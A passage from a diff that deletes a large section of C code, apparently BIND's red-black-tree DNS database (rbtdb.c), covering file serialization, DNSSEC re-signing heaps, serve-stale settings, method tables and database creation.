-			size - sizeof(rdatasetheader_t));
-#endif /* ifdef DEBUG */
-		isc_crc64_update(crc, (unsigned char *)&newheader,
-				 sizeof(rdatasetheader_t));
-		CHECK(isc_stdio_write(&newheader, sizeof(rdatasetheader_t), 1,
-				      rbtfile, NULL));
-
-		isc_crc64_update(crc, p + sizeof(rdatasetheader_t),
-				 size - sizeof(rdatasetheader_t));
-		CHECK(isc_stdio_write(p + sizeof(rdatasetheader_t),
-				      size - sizeof(rdatasetheader_t), 1,
-				      rbtfile, NULL));
-		/*
-		 * Pad to force alignment.
-		 */
-		if (size != (size_t)cooked) {
-			memset(pad, 0, sizeof(pad));
-			CHECK(isc_stdio_write(pad, cooked - size, 1, rbtfile,
-					      NULL));
-		}
-	}
-
-failure:
-	return (result);
-}
-
-/*
- * Write out a zeroed header as a placeholder.  Doing this ensures
- * that the file will not read while it is partially written, should
- * writing fail or be interrupted.
- */
-static isc_result_t
-rbtdb_zero_header(FILE *rbtfile) {
-	char buffer[RBTDB_HEADER_LENGTH];
-	isc_result_t result;
-
-	memset(buffer, 0, RBTDB_HEADER_LENGTH);
-	result = isc_stdio_write(buffer, 1, RBTDB_HEADER_LENGTH, rbtfile, NULL);
-	fflush(rbtfile);
-
-	return (result);
-}
-
-static isc_once_t once = ISC_ONCE_INIT;
-
-static void
-init_file_version(void) {
-	int n;
-
-	memset(FILE_VERSION, 0, sizeof(FILE_VERSION));
-	n = snprintf(FILE_VERSION, sizeof(FILE_VERSION), "RBTDB Image %s %s",
-		     PACKAGE_VERSION_MAJOR, MAPAPI);
-	INSIST(n > 0 && (unsigned int)n < sizeof(FILE_VERSION));
-}
-
-/*
- * Write the file header out, recording the locations of the three
- * RBT's used in the rbtdb: tree, nsec, and nsec3, and including NodeDump
- * version information and any information stored in the rbtdb object
- * itself that should be stored here.
- */
-static isc_result_t
-rbtdb_write_header(FILE *rbtfile, off_t tree_location, off_t nsec_location,
-		   off_t nsec3_location) {
-	rbtdb_file_header_t header;
-	isc_result_t result;
-
-	RUNTIME_CHECK(isc_once_do(&once, init_file_version) == ISC_R_SUCCESS);
-
-	memset(&header, 0, sizeof(rbtdb_file_header_t));
-	memmove(header.version1, FILE_VERSION, sizeof(header.version1));
-	memmove(header.version2, FILE_VERSION, sizeof(header.version2));
-	header.ptrsize = (uint32_t)sizeof(void *);
-	header.bigendian = (1 == htonl(1)) ? 1 : 0;
-	header.tree = (uint64_t)tree_location;
-	header.nsec = (uint64_t)nsec_location;
-	header.nsec3 = (uint64_t)nsec3_location;
-	result = isc_stdio_write(&header, 1, sizeof(rbtdb_file_header_t),
-				 rbtfile, NULL);
-	fflush(rbtfile);
-
-	return (result);
-}
-
-static bool
-match_header_version(rbtdb_file_header_t *header) {
-	RUNTIME_CHECK(isc_once_do(&once, init_file_version) == ISC_R_SUCCESS);
-
-	if (memcmp(header->version1, FILE_VERSION, sizeof(header->version1)) !=
-		    0 ||
-	    memcmp(header->version2, FILE_VERSION, sizeof(header->version1)) !=
-		    0)
-	{
-		return (false);
-	}
-
-	return (true);
-}
-
-static isc_result_t
-serialize(dns_db_t *db, dns_dbversion_t *ver, FILE *rbtfile) {
-	rbtdb_version_t *version = (rbtdb_version_t *)ver;
-	dns_rbtdb_t *rbtdb;
-	isc_result_t result;
-	off_t tree_location, nsec_location, nsec3_location, header_location;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(rbtfile != NULL);
-
-	/* Ensure we're writing to a plain file */
-	CHECK(isc_file_isplainfilefd(fileno(rbtfile)));
-
-	/*
-	 * first, write out a zeroed header to store rbtdb information
-	 *
-	 * then for each of the three trees, store the current position
-	 * in the file and call dns_rbt_serialize_tree
-	 *
-	 * finally, write out the rbtdb header, storing the locations of the
-	 * rbtheaders
-	 *
-	 * NOTE: need to do something better with the return codes, &= will
-	 * not work.
-	 */
-	CHECK(isc_stdio_tell(rbtfile, &header_location));
-	CHECK(rbtdb_zero_header(rbtfile));
-	CHECK(dns_rbt_serialize_tree(rbtfile, rbtdb->tree, rbt_datawriter,
-				     version, &tree_location));
-	CHECK(dns_rbt_serialize_tree(rbtfile, rbtdb->nsec, rbt_datawriter,
-				     version, &nsec_location));
-	CHECK(dns_rbt_serialize_tree(rbtfile, rbtdb->nsec3, rbt_datawriter,
-				     version, &nsec3_location));
-
-	CHECK(isc_stdio_seek(rbtfile, header_location, SEEK_SET));
-	CHECK(rbtdb_write_header(rbtfile, tree_location, nsec_location,
-				 nsec3_location));
-failure:
-	return (result);
-}
-
-static isc_result_t
-dump(dns_db_t *db, dns_dbversion_t *version, const char *filename,
-     dns_masterformat_t masterformat) {
-	dns_rbtdb_t *rbtdb;
-	rbtdb_version_t *rbtversion = version;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
-
-	return (dns_master_dump(rbtdb->common.mctx, db, version,
-				&dns_master_style_default, filename,
-				masterformat, NULL));
-}
-
-static void
-delete_callback(void *data, void *arg) {
-	dns_rbtdb_t *rbtdb = arg;
-	rdatasetheader_t *current, *next;
-	unsigned int locknum;
-
-	current = data;
-	locknum = current->node->locknum;
-	NODE_LOCK(&rbtdb->node_locks[locknum].lock, isc_rwlocktype_write);
-	while (current != NULL) {
-		next = current->next;
-		free_rdataset(rbtdb, rbtdb->common.mctx, current);
-		current = next;
-	}
-	NODE_UNLOCK(&rbtdb->node_locks[locknum].lock, isc_rwlocktype_write);
-}
-
-static bool
-issecure(dns_db_t *db) {
-	dns_rbtdb_t *rbtdb;
-	bool secure;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
-	secure = (rbtdb->current_version->secure == dns_db_secure);
-	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
-
-	return (secure);
-}
-
-static bool
-isdnssec(dns_db_t *db) {
-	dns_rbtdb_t *rbtdb;
-	bool dnssec;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
-	dnssec = (rbtdb->current_version->secure != dns_db_insecure);
-	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
-
-	return (dnssec);
-}
-
-static unsigned int
-nodecount(dns_db_t *db) {
-	dns_rbtdb_t *rbtdb;
-	unsigned int count;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-	count = dns_rbt_nodecount(rbtdb->tree);
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-
-	return (count);
-}
-
-static size_t
-hashsize(dns_db_t *db) {
-	dns_rbtdb_t *rbtdb;
-	size_t size;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-	size = dns_rbt_hashsize(rbtdb->tree);
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-
-	return (size);
-}
-
-static isc_result_t
-adjusthashsize(dns_db_t *db, size_t size) {
-	isc_result_t result;
-	dns_rbtdb_t *rbtdb;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-	result = dns_rbt_adjusthashsize(rbtdb->tree, size);
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-
-	return (result);
-}
-
-static void
-settask(dns_db_t *db, isc_task_t *task) {
-	dns_rbtdb_t *rbtdb;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
-	if (rbtdb->task != NULL) {
-		isc_task_detach(&rbtdb->task);
-	}
-	if (task != NULL) {
-		isc_task_attach(task, &rbtdb->task);
-	}
-	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
-}
-
-static bool
-ispersistent(dns_db_t *db) {
-	UNUSED(db);
-	return (false);
-}
-
-static isc_result_t
-getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *onode;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(nodep != NULL && *nodep == NULL);
-
-	/* Note that the access to origin_node doesn't require a DB lock */
-	onode = (dns_rbtnode_t *)rbtdb->origin_node;
-	if (onode != NULL) {
-		new_reference(rbtdb, onode, isc_rwlocktype_none);
-		*nodep = rbtdb->origin_node;
-	} else {
-		INSIST(IS_CACHE(rbtdb));
-		result = ISC_R_NOTFOUND;
-	}
-
-	return (result);
-}
-
-static isc_result_t
-getnsec3parameters(dns_db_t *db, dns_dbversion_t *version, dns_hash_t *hash,
-		   uint8_t *flags, uint16_t *iterations, unsigned char *salt,
-		   size_t *salt_length) {
-	dns_rbtdb_t *rbtdb;
-	isc_result_t result = ISC_R_NOTFOUND;
-	rbtdb_version_t *rbtversion = version;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
-
-	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
-	if (rbtversion == NULL) {
-		rbtversion = rbtdb->current_version;
-	}
-
-	if (rbtversion->havensec3) {
-		if (hash != NULL) {
-			*hash = rbtversion->hash;
-		}
-		if (salt != NULL && salt_length != NULL) {
-			REQUIRE(*salt_length >= rbtversion->salt_length);
-			memmove(salt, rbtversion->salt,
-				rbtversion->salt_length);
-		}
-		if (salt_length != NULL) {
-			*salt_length = rbtversion->salt_length;
-		}
-		if (iterations != NULL) {
-			*iterations = rbtversion->iterations;
-		}
-		if (flags != NULL) {
-			*flags = rbtversion->flags;
-		}
-		result = ISC_R_SUCCESS;
-	}
-	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
-
-	return (result);
-}
-
-static isc_result_t
-getsize(dns_db_t *db, dns_dbversion_t *version, uint64_t *records,
-	uint64_t *xfrsize) {
-	dns_rbtdb_t *rbtdb;
-	isc_result_t result = ISC_R_SUCCESS;
-	rbtdb_version_t *rbtversion = version;
-
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
-
-	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
-	if (rbtversion == NULL) {
-		rbtversion = rbtdb->current_version;
-	}
-
-	RWLOCK(&rbtversion->rwlock, isc_rwlocktype_read);
-	if (records != NULL) {
-		*records = rbtversion->records;
-	}
-
-	if (xfrsize != NULL) {
-		*xfrsize = rbtversion->xfrsize;
-	}
-	RWUNLOCK(&rbtversion->rwlock, isc_rwlocktype_read);
-	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
-
-	return (result);
-}
-
-static isc_result_t
-setsigningtime(dns_db_t *db, dns_rdataset_t *rdataset, isc_stdtime_t resign) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	isc_result_t result = ISC_R_SUCCESS;
-	rdatasetheader_t *header, oldheader;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(!IS_CACHE(rbtdb));
-	REQUIRE(rdataset != NULL);
-
-	header = rdataset->private3;
-	header--;
-
-	NODE_LOCK(&rbtdb->node_locks[header->node->locknum].lock,
-		  isc_rwlocktype_write);
-
-	oldheader = *header;
-	/*
-	 * Only break the heap invariant (by adjusting resign and resign_lsb)
-	 * if we are going to be restoring it by calling isc_heap_increased
-	 * or isc_heap_decreased.
-	 */
-	if (resign != 0) {
-		header->resign = (isc_stdtime_t)(dns_time64_from32(resign) >>
-						 1);
-		header->resign_lsb = resign & 0x1;
-	}
-	if (header->heap_index != 0) {
-		INSIST(RESIGN(header));
-		if (resign == 0) {
-			isc_heap_delete(rbtdb->heaps[header->node->locknum],
-					header->heap_index);
-			header->heap_index = 0;
-		} else if (resign_sooner(header, &oldheader)) {
-			isc_heap_increased(rbtdb->heaps[header->node->locknum],
-					   header->heap_index);
-		} else if (resign_sooner(&oldheader, header)) {
-			isc_heap_decreased(rbtdb->heaps[header->node->locknum],
-					   header->heap_index);
-		}
-	} else if (resign != 0) {
-		RDATASET_ATTR_SET(header, RDATASET_ATTR_RESIGN);
-		result = resign_insert(rbtdb, header->node->locknum, header);
-	}
-	NODE_UNLOCK(&rbtdb->node_locks[header->node->locknum].lock,
-		    isc_rwlocktype_write);
-	return (result);
-}
-
-static isc_result_t
-getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset, dns_name_t *foundname) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	rdatasetheader_t *header = NULL, *this;
-	unsigned int i;
-	isc_result_t result = ISC_R_NOTFOUND;
-	unsigned int locknum = 0;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-
-	for (i = 0; i < rbtdb->node_lock_count; i++) {
-		NODE_LOCK(&rbtdb->node_locks[i].lock, isc_rwlocktype_read);
-
-		/*
-		 * Find for the earliest signing time among all of the
-		 * heaps, each of which is covered by a different bucket
-		 * lock.
-		 */
-		this = isc_heap_element(rbtdb->heaps[i], 1);
-		if (this == NULL) {
-			/* Nothing found; unlock and try the next heap. */
-			NODE_UNLOCK(&rbtdb->node_locks[i].lock,
-				    isc_rwlocktype_read);
-			continue;
-		}
-
-		if (header == NULL) {
-			/*
-			 * Found a signing time: retain the bucket lock and
-			 * preserve the lock number so we can unlock it
-			 * later.
-			 */
-			header = this;
-			locknum = i;
-		} else if (resign_sooner(this, header)) {
-			/*
-			 * Found an earlier signing time; release the
-			 * previous bucket lock and retain this one instead.
-			 */
-			NODE_UNLOCK(&rbtdb->node_locks[locknum].lock,
-				    isc_rwlocktype_read);
-			header = this;
-			locknum = i;
-		} else {
-			/*
-			 * Earliest signing time in this heap isn't
-			 * an improvement; unlock and try the next heap.
-			 */
-			NODE_UNLOCK(&rbtdb->node_locks[i].lock,
-				    isc_rwlocktype_read);
-		}
-	}
-
-	if (header != NULL) {
-		/*
-		 * Found something; pass back the answer and unlock
-		 * the bucket.
-		 */
-		bind_rdataset(rbtdb, header->node, header, 0,
-			      isc_rwlocktype_read, rdataset);
-
-		if (foundname != NULL) {
-			dns_rbt_fullnamefromnode(header->node, foundname);
-		}
-
-		NODE_UNLOCK(&rbtdb->node_locks[locknum].lock,
-			    isc_rwlocktype_read);
-
-		result = ISC_R_SUCCESS;
-	}
-
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-
-	return (result);
-}
-
-static void
-resigned(dns_db_t *db, dns_rdataset_t *rdataset, dns_dbversion_t *version) {
-	rbtdb_version_t *rbtversion = (rbtdb_version_t *)version;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *node;
-	rdatasetheader_t *header;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(rdataset != NULL);
-	REQUIRE(rdataset->methods == &rdataset_methods);
-	REQUIRE(rbtdb->future_version == rbtversion);
-	REQUIRE(rbtversion != NULL);
-	REQUIRE(rbtversion->writer);
-	REQUIRE(rbtversion->rbtdb == rbtdb);
-
-	node = rdataset->private2;
-	INSIST(node != NULL);
-	header = rdataset->private3;
-	INSIST(header != NULL);
-	header--;
-
-	if (header->heap_index == 0) {
-		return;
-	}
-
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-	NODE_LOCK(&rbtdb->node_locks[node->locknum].lock, isc_rwlocktype_write);
-	/*
-	 * Delete from heap and save to re-signed list so that it can
-	 * be restored if we backout of this change.
-	 */
-	resign_delete(rbtdb, rbtversion, header);
-	NODE_UNLOCK(&rbtdb->node_locks[node->locknum].lock,
-		    isc_rwlocktype_write);
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-}
-
-static isc_result_t
-setcachestats(dns_db_t *db, isc_stats_t *stats) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(IS_CACHE(rbtdb)); /* current restriction */
-	REQUIRE(stats != NULL);
-
-	isc_stats_attach(stats, &rbtdb->cachestats);
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-setgluecachestats(dns_db_t *db, isc_stats_t *stats) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(!IS_CACHE(rbtdb) && !IS_STUB(rbtdb));
-	REQUIRE(stats != NULL);
-
-	isc_stats_attach(stats, &rbtdb->gluecachestats);
-	return (ISC_R_SUCCESS);
-}
-
-static dns_stats_t *
-getrrsetstats(dns_db_t *db) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(IS_CACHE(rbtdb)); /* current restriction */
-
-	return (rbtdb->rrsetstats);
-}
-
-static isc_result_t
-nodefullname(dns_db_t *db, dns_dbnode_t *node, dns_name_t *name) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
-	isc_result_t result;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(node != NULL);
-	REQUIRE(name != NULL);
-
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-	result = dns_rbt_fullnamefromnode(rbtnode, name);
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-
-	return (result);
-}
-
-static isc_result_t
-setservestalettl(dns_db_t *db, dns_ttl_t ttl) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(IS_CACHE(rbtdb));
-
-	/* currently no bounds checking.  0 means disable. */
-	rbtdb->serve_stale_ttl = ttl;
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-getservestalettl(dns_db_t *db, dns_ttl_t *ttl) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(IS_CACHE(rbtdb));
-
-	*ttl = rbtdb->serve_stale_ttl;
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-setservestalerefresh(dns_db_t *db, uint32_t interval) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(IS_CACHE(rbtdb));
-
-	/* currently no bounds checking.  0 means disable. */
-	rbtdb->serve_stale_refresh = interval;
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-getservestalerefresh(dns_db_t *db, uint32_t *interval) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(IS_CACHE(rbtdb));
-
-	*interval = rbtdb->serve_stale_refresh;
-	return (ISC_R_SUCCESS);
-}
-
-static dns_dbmethods_t zone_methods = { attach,
-					detach,
-					beginload,
-					endload,
-					serialize,
-					dump,
-					currentversion,
-					newversion,
-					attachversion,
-					closeversion,
-					findnode,
-					zone_find,
-					zone_findzonecut,
-					attachnode,
-					detachnode,
-					expirenode,
-					printnode,
-					createiterator,
-					zone_findrdataset,
-					allrdatasets,
-					addrdataset,
-					subtractrdataset,
-					deleterdataset,
-					issecure,
-					nodecount,
-					ispersistent,
-					overmem,
-					settask,
-					getoriginnode,
-					NULL, /* transfernode */
-					getnsec3parameters,
-					findnsec3node,
-					setsigningtime,
-					getsigningtime,
-					resigned,
-					isdnssec,
-					NULL, /* getrrsetstats */
-					NULL, /* rpz_attach */
-					NULL, /* rpz_ready */
-					NULL, /* findnodeext */
-					NULL, /* findext */
-					NULL, /* setcachestats */
-					hashsize,
-					nodefullname,
-					getsize,
-					NULL, /* setservestalettl */
-					NULL, /* getservestalettl */
-					NULL, /* setservestalerefresh */
-					NULL, /* getservestalerefresh */
-					setgluecachestats,
-					adjusthashsize };
-
-static dns_dbmethods_t cache_methods = { attach,
-					 detach,
-					 beginload,
-					 endload,
-					 NULL, /* serialize */
-					 dump,
-					 currentversion,
-					 newversion,
-					 attachversion,
-					 closeversion,
-					 findnode,
-					 cache_find,
-					 cache_findzonecut,
-					 attachnode,
-					 detachnode,
-					 expirenode,
-					 printnode,
-					 createiterator,
-					 cache_findrdataset,
-					 allrdatasets,
-					 addrdataset,
-					 subtractrdataset,
-					 deleterdataset,
-					 issecure,
-					 nodecount,
-					 ispersistent,
-					 overmem,
-					 settask,
-					 getoriginnode,
-					 NULL, /* transfernode */
-					 NULL, /* getnsec3parameters */
-					 NULL, /* findnsec3node */
-					 NULL, /* setsigningtime */
-					 NULL, /* getsigningtime */
-					 NULL, /* resigned */
-					 isdnssec,
-					 getrrsetstats,
-					 NULL, /* rpz_attach */
-					 NULL, /* rpz_ready */
-					 NULL, /* findnodeext */
-					 NULL, /* findext */
-					 setcachestats,
-					 hashsize,
-					 nodefullname,
-					 NULL, /* getsize */
-					 setservestalettl,
-					 getservestalettl,
-					 setservestalerefresh,
-					 getservestalerefresh,
-					 NULL,
-					 adjusthashsize };
-
-isc_result_t
-dns_rbtdb_create(isc_mem_t *mctx, const dns_name_t *origin, dns_dbtype_t type,
-		 dns_rdataclass_t rdclass, unsigned int argc, char *argv[],
-		 void *driverarg, dns_db_t **dbp) {
-	dns_rbtdb_t *rbtdb;
-	isc_result_t result;
-	int i;
-	dns_name_t name;
-	bool (*sooner)(void *, void *);
-	isc_mem_t *hmctx = mctx;
-
-	/* Keep the compiler happy. */
-	UNUSED(driverarg);
-
-	rbtdb = isc_mem_get(mctx, sizeof(*rbtdb));
-
-	/*
-	 * If argv[0] exists, it points to a memory context to use for heap
-	 */
-	if (argc != 0) {
-		hmctx = (isc_mem_t *)argv[0];
-	}
-
-	memset(rbtdb, '\0', sizeof(*rbtdb));
-	dns_name_init(&rbtdb->common.origin, NULL);
-	rbtdb->common.attributes = 0;
-	if (type == dns_dbtype_cache) {
-		rbtdb->common.methods = &cache_methods;
-		rbtdb->common.attributes |= DNS_DBATTR_CACHE;
-	} else if (type == dns_dbtype_stub) {
-		rbtdb->common.methods = &zone_methods;
-		rbtdb->common.attributes |= DNS_DBATTR_STUB;
-	} else {
-		rbtdb->common.methods = &zone_methods;
-	}
-	rbtdb->common.rdclass = rdclass;
-	rbtdb->common.mctx = NULL;
-
-	ISC_LIST_INIT(rbtdb->common.update_listeners);
-
-	RBTDB_INITLOCK(&rbtdb->lock);
-
-	isc_rwlock_init(&rbtdb->tree_lock, 0, 0);
-
-	/*
-	 * Initialize node_lock_count in a generic way to support future
-	 * extension which allows the user to specify this value on creation.
-	 * Note that when specified for a cache DB it must be larger than 1
-	 * as commented with the definition of DEFAULT_CACHE_NODE_LOCK_COUNT.
-	 */
-	if (rbtdb->node_lock_count == 0) {
-		if (IS_CACHE(rbtdb)) {
-			rbtdb->node_lock_count = DEFAULT_CACHE_NODE_LOCK_COUNT;
-		} else {
-			rbtdb->node_lock_count = DEFAULT_NODE_LOCK_COUNT;
-		}
-	} else if (rbtdb->node_lock_count < 2 && IS_CACHE(rbtdb)) {
-		result = ISC_R_RANGE;
-		goto cleanup_tree_lock;
-	}
-	INSIST(rbtdb->node_lock_count < (1 << DNS_RBT_LOCKLENGTH));
-	rbtdb->node_locks = isc_mem_get(mctx, rbtdb->node_lock_count *
-						      sizeof(rbtdb_nodelock_t));
-
-	rbtdb->cachestats = NULL;
-	rbtdb->gluecachestats = NULL;
-
-	rbtdb->rrsetstats = NULL;
-	if (IS_CACHE(rbtdb)) {
-		result = dns_rdatasetstats_create(mctx, &rbtdb->rrsetstats);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_node_locks;
-		}
-		rbtdb->rdatasets = isc_mem_get(
-			mctx,
-			rbtdb->node_lock_count * sizeof(rdatasetheaderlist_t));
-		for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
-			ISC_LIST_INIT(rbtdb->rdatasets[i]);
-		}
-	} else {
-		rbtdb->rdatasets = NULL;
-	}
-
-	/*
-	 * Create the heaps.
-	 */
-	rbtdb->heaps = isc_mem_get(hmctx, rbtdb->node_lock_count *
-						  sizeof(isc_heap_t *));
-	for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
-		rbtdb->heaps[i] = NULL;
-	}
-	sooner = IS_CACHE(rbtdb) ? ttl_sooner : resign_sooner;
-	for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
-		result = isc_heap_create(hmctx, sooner, set_index, 0,
-					 &rbtdb->heaps[i]);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_heaps;
-		}
-	}
-
-	/*
-	 * Create deadnode lists.
-	 */
-	rbtdb->deadnodes = isc_mem_get(mctx, rbtdb->node_lock_count *
-						     sizeof(rbtnodelist_t));
-	for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
-		ISC_LIST_INIT(rbtdb->deadnodes[i]);
-	}
-
-	rbtdb->active = rbtdb->node_lock_count;
-
-	for (i = 0; i < (int)(rbtdb->node_lock_count); i++) {
-		NODE_INITLOCK(&rbtdb->node_locks[i].lock);
-		isc_refcount_init(&rbtdb->node_locks[i].references, 0);
-		rbtdb->node_locks[i].exiting = false;
-	}
-
-	/*
-	 * Attach to the mctx.  The database will persist so long as there
-	 * are references to it, and attaching to the mctx ensures that our
-	 * mctx won't disappear out from under us.
-	 */
-	isc_mem_attach(mctx, &rbtdb->common.mctx);
-	isc_mem_attach(hmctx, &rbtdb->hmctx);
-
-	/*
-	 * Make a copy of the origin name.
-	 */
-	result = dns_name_dupwithoffsets(origin, mctx, &rbtdb->common.origin);
-	if (result != ISC_R_SUCCESS) {
-		free_rbtdb(rbtdb, false, NULL);
-		return (result);
-	}
-
-	/*
-	 * Make the Red-Black Trees.
-	 */
-	result = dns_rbt_create(mctx, delete_callback, rbtdb, &rbtdb->tree);
-	if (result != ISC_R_SUCCESS) {
-		free_rbtdb(rbtdb, false, NULL);
-		return (result);
-	}
-
-	result = dns_rbt_create(mctx, delete_callback, rbtdb, &rbtdb->nsec);
-	if (result != ISC_R_SUCCESS) {
-		free_rbtdb(rbtdb, false, NULL);
-		return (result);
-	}
-
-	result = dns_rbt_create(mctx, delete_callback, rbtdb, &rbtdb->nsec3);
-	if (result != ISC_R_SUCCESS) {
-		free_rbtdb(rbtdb, false, NULL);
-		return (result);
-	}
-
-	/*
-	 * In order to set the node callback bit correctly in zone databases,
-	 * we need to know if the node has the origin name of the zone.
-	 * In loading_addrdataset() we could simply compare the new name
-	 * to the origin name, but this is expensive.  Also, we don't know the
-	 * node name in addrdataset(), so we need another way of knowing the
-	 * zone's top.
-	 *
-	 * We now explicitly create a node for the zone's origin, and then
-	 * we simply remember the node's address.  This is safe, because
-	 * the top-of-zone node can never be deleted, nor can its address
-	 * change.
-	 */
-	if (!IS_CACHE(rbtdb)) {
-		rbtdb->origin_node = NULL;
-		result = dns_rbt_addnode(rbtdb->tree, &rbtdb->common.origin,
-					 &rbtdb->origin_node);
-		if (result != ISC_R_SUCCESS) {
-			INSIST(result != ISC_R_EXISTS);
-			free_rbtdb(rbtdb, false, NULL);
-			return (result);
-		}
-		INSIST(rbtdb->origin_node != NULL);
-		rbtdb->origin_node->nsec = DNS_RBT_NSEC_NORMAL;
-		/*
-		 * We need to give the origin node the right locknum.
-		 */
-		dns_name_init(&name, NULL);
-		dns_rbt_namefromnode(rbtdb->origin_node, &name);
-		rbtdb->origin_node->locknum = rbtdb->origin_node->hashval %
-					      rbtdb->node_lock_count;
-		/*
-		 * Add an apex node to the NSEC3 tree so that NSEC3 searches
-		 * return partial matches when there is only a single NSEC3
-		 * record in the tree.
-		 */
-		rbtdb->nsec3_origin_node = NULL;
-		result = dns_rbt_addnode(rbtdb->nsec3, &rbtdb->common.origin,
-					 &rbtdb->nsec3_origin_node);
-		if (result != ISC_R_SUCCESS) {
-			INSIST(result != ISC_R_EXISTS);
-			free_rbtdb(rbtdb, false, NULL);
-			return (result);
-		}
-		rbtdb->nsec3_origin_node->nsec = DNS_RBT_NSEC_NSEC3;
-		/*
-		 * We need to give the nsec3 origin node the right locknum.
-		 */
-		dns_name_init(&name, NULL);
-		dns_rbt_namefromnode(rbtdb->nsec3_origin_node, &name);
-		rbtdb->nsec3_origin_node->locknum =
-			rbtdb->nsec3_origin_node->hashval %
-			rbtdb->node_lock_count;
-	}
-
-	/*
-	 * Misc. Initialization.
-	 */
-	isc_refcount_init(&rbtdb->references, 1);
-	rbtdb->attributes = 0;
-	rbtdb->task = NULL;
-	rbtdb->serve_stale_ttl = 0;
-
-	/*
-	 * Version Initialization.
-	 */
-	rbtdb->current_serial = 1;
-	rbtdb->least_serial = 1;
-	rbtdb->next_serial = 2;
-	rbtdb->current_version = allocate_version(mctx, 1, 1, false);
-	rbtdb->current_version->rbtdb = rbtdb;
-	rbtdb->current_version->secure = dns_db_insecure;
-	rbtdb->current_version->havensec3 = false;
-	rbtdb->current_version->flags = 0;
